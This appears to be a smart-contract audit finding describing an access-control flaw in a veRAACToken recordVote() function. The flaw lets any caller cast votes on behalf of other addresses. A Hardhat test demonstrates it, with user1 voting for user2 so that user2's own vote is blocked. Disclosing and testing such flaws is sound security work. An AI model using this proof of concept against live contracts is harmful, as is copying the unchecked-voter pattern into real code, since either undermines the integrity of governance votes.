There is nothing stopping an attacker for voting for/front-running any other user, this is due to allowing the attacker to select the voter address to impersonate instead of forcing them to use their own address.
The function is implemented but currently not in use, future usage would however be subject to the problem outlined here and result in a comprised integrity of the vote.
Manual review.
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { deployContracts } from './utils/deployContracts.js';
describe('Exploit Tests', function () {
this.timeout(300000);
let contracts;
let owner, user1, user2, user3, treasury, repairFund;
const INITIAL_MINT_AMOUNT = ethers.parseEther('1000');
const HOUSE_TOKEN_ID = '1021000';
const HOUSE_PRICE = ethers.parseEther('100');
const ONE_YEAR = 365 * 24 * 3600;
const FOUR_YEARS = 4 * ONE_YEAR;
const BASIS_POINTS = 10000;
before(async function () {
[owner, user1, user2, user3, treasury, repairFund] = await ethers.getSigners();
contracts = await deployContracts(owner, user1, user2, user3);
const displayContracts = Object.fromEntries(Object.entries(contracts).map(([key, value]) => [key, value.target]));
console.log(displayContracts);
await contracts.housePrices.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE);
for (const user of [user1, user2, user3]) {
await contracts.crvUSD.mint(user.address, INITIAL_MINT_AMOUNT);
}
});
describe.only('Bugs:', function () {
it('[M-04] recordVote() allows anyone to vote on behalf of anyone else', async function () {
await contracts.veRAACToken.connect(user1).recordVote(user1.address, 0);
await contracts.veRAACToken.connect(user1).recordVote(user2.address, 0);
try {
await contracts.veRAACToken.connect(user2).recordVote(user2.address, 0);
} catch (error) {
expect(error.message).to.include('AlreadyVoted()');
}
});
});
});